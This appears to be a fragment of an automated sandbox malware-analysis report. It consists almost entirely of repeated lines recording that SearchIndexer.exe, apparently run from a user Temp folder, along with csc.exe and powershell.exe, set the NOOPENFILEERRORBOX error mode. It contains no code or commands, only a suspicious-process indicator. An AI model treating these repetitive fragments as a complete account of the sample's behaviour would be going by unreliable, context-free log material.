                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
